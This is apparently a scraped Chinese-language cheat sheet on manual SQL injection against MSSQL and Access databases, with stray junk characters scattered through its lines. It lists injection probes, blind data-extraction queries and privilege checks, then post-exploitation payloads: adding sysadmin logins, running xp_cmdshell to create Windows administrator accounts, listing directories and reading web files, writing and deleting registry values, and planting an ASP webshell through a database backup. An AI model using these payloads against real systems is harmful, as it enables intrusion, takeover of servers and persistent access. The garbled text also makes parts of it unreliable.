手工脚本注入
2 _' W8 I% V4 n1.判断是否有注入;and 1=1 ;and 1=2 $ R/ K$ C8 {' ~5 d% {* n- K; i! |
/ c7 L1 b$ C p- e& N0 I2.初步判断是否是mssql ;and user>0
+ Y. o! l+ Z5 N: n* Y/ h* C8 X0 D: |3 b% M/ r
3.注入参数是字符'and [查询条件] and ''=' / h/ b+ M) U1 S
+ m$ H7 _# v9 f0 z7 H: |# D4.搜索时没过滤参数的'and [查询条件] and '%25'='
! U- t& R2 F9 h$ \- |4 m- ?# g* g6 c! Q' X u$ }
5.判断数据库系统 # {5 O) j# @( j; n, o' f% v
;and (select count(*) from sysobjects)>0 mssql f3 i; `) {8 F1 a- h6 `
;and (select count(*) from msysobjects)>0 access 1 n% N1 z. K, C) l7 ^6 ~/ d5 x
- Z1 I. h5 p% v9 N0 }+ D! q6.猜数据库 ;and (select Count(*) from [数据库名])>0 ] O5 f8 U2 l% W- r
* L( a9 I7 D2 @
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 2 V/ E% ?) R9 T `$ d! Y
0 j: r9 v# R$ L2 {( R8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 $ [$ {; f* u. ~% J/ ^% l. x
$ Q; }/ W/ p3 |% a
9.(1)猜字段的ascii值(access) . t6 y( D5 F+ t6 E! Y0 N& @+ i
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 . L) J- ?" }6 l s
6 m {3 \- P; l) {8 o# m
(2)猜字段的ascii值(mssql) 8 h$ U) q/ n( k6 r
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ; v0 `2 I$ L/ @
1 N: M: W( d' a8 f% z3 T$ D: I
10.测试权限结构(mssql) , q- C+ u P# M+ ~; O: t
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
) p5 B# {2 \, ]9 l. h3 z2 L f;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2 u; A+ a, C+ y0 @& S5 j
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- % j) S g' Y. j3 B% }
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
$ j, {& g2 |6 R! N5 u- u! {" v! A' ?;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 6 _& @9 t3 f! W$ v4 N
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
3 Y- C$ H7 a: l8 P;and 1=(select IS_MEMBER('db_owner'));-- 3 J q- O0 e5 {' w7 r3 |
1 T5 G6 j$ Y7 p6 h3 f& M% D( q
11.添加mssql和系统的帐户 4 k2 w: S9 t1 c
;exec master.dbo.sp_addlogin username;-- ' B% m3 V! j+ V( W. A& Y
7 x7 H: T# ]4 q2 R; V
;exec master.dbo.sp_password null,username,password;--
# L( |$ M8 L1 h7 H. E$ f- Q6 O' X7 m( p; }& @( U' Y; P" [4 S
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 1 L) s$ _$ c2 p/ f z
8 k* [5 E0 R$ m& C;exec master.dbo.xp_cmdshell 'net user username password
9 ~) n3 [5 k4 v; ?% J/ _/ j/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
. _% k: G( s) l. I3 \$ I) X9 R8 P$ Q/ B6 X
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2 D! T \3 U" _& O7 u
5 x2 L7 n% C# \( G: c;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- + p0 F" a s/ U8 v9 P/ @1 g$ b
& v6 D+ |' I, q! O5 m/ {12.(1)遍历目录 , I7 d# j1 r7 |8 k1 o0 }
+ N9 ~: B' C- a/ @: U( w8 E/ b;create table dirs(paths varchar(100), id int)
U# Y6 `" _9 F8 `5 [;insert dirs exec master.dbo.xp_dirtree 'c:\' 5 n- C" H- c/ M( X5 o/ F( i
;and (select top 1 paths from dirs)>0
# n8 i" r4 k% d+ `;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
4 L* R6 [4 h6 `9 W6 h
4 d2 B. R8 _! S0 N% H% c4 l! |+ H& K(2)遍历目录
* M: F1 r W' N' c$ j( q* \ n. x;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
: d4 W4 K# ~- B, N# \;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 1 n! Y! [' e5 R! P0 b
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 9 t( ?' x7 q' Y3 I+ n6 R# ^0 |
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
k9 E7 _* E. b3 v;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
" h/ C- i y& ^8 {0 D* V! K. B5 \7 H
( h8 g+ Z1 V- L6 g; m& E; d13.mssql中的存储过程 ! [! n) z4 @; \. K1 B8 \1 x, R
5 y9 P$ o* ]' A. w% Oxp_regenumvalues 注册表根键, 子键
/ d* m) k/ Q; U) w; T- P;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
. a8 S2 [" c3 H4 \
1 t8 S- N' p/ A* H7 W1 i1 {xp_regread 根键,子键,键值名 6 S4 p! E0 y5 ^! X( H1 i& y
;exec xp_regread , E G6 l E E+ h
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 / l1 G4 C+ l! l5 }
+ Y2 [( d2 Y6 R# Z" r. p v+ w5 rxp_regwrite 根键,子键, 值名, 值类型, 值
8 _% l1 e6 f. K; P6 n6 e* O p值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 # c' B1 e; w1 m# m
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ( F/ `8 R' e6 q! ^( t' K) t
/ a% ~0 O; H7 b
xp_regdeletevalue 根键,子键,值名 $ \3 S7 a) V% N, P1 E
; Q% T. r0 a: A* k$ ~exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ! c$ m" _: L9 z* h- |5 F/ ~$ j
* Z! b( Q7 b' l% H! Y- F- ixp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
" W! F6 k* U- |2 B) Y* Q1 F+ ~+ x& R
14.mssql的backup创建webshell 1 m% j8 Y. ? H, k; w
use model 5 O+ N& G5 E$ [* r
create table cmd(str image);
6 k8 @& q3 h. v ]insert into cmd(str) values ('');
( z/ g# e8 y6 b6 v) a2 Hbackup database model to disk='c:\l.asp'; 9 m# \# u# A. G, U
j" N; O W5 }# D2 f9 \
15.mssql内置函数
* h8 F( ^5 _6 q0 |( Z;and (select @@version)>0 获得Windows的版本号 : [: G: u7 r" c7 U8 b! S
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ) C9 b: @' r$ M
;and (select user_name())>0 爆当前系统的连接用户
1 t. J0 x k' c0 P* q$ c) b;and (select db_name())>0 得到当前连接的数据库 " ^4 k y' |1 L
* r: ^% c) {. W! n0 i& Q
16.简洁的webshell
' Z; t8 C6 r. X( T% c+ r3 C& |' v' @: ~3 z( A
use model
5 H8 K9 P1 y- U1 v! s |- A" y6 s4 Z6 J# G6 T( l4 B
create table cmd(str image); 4 F* a. o3 a4 d+ P) U/ n1 s5 B
8 g2 s% r8 \3 ?% v3 l( P2 v
insert into cmd(str) values ('');
, D, T. Q: j: _& O; p) [
- L& _* x* T& ?backup database model to disk='g:\wwwtest\l.asp'; 5 [2 s1 J8 _( n& g" |( o
4 L; s$ {* [7 r: O; a$ r+ t
|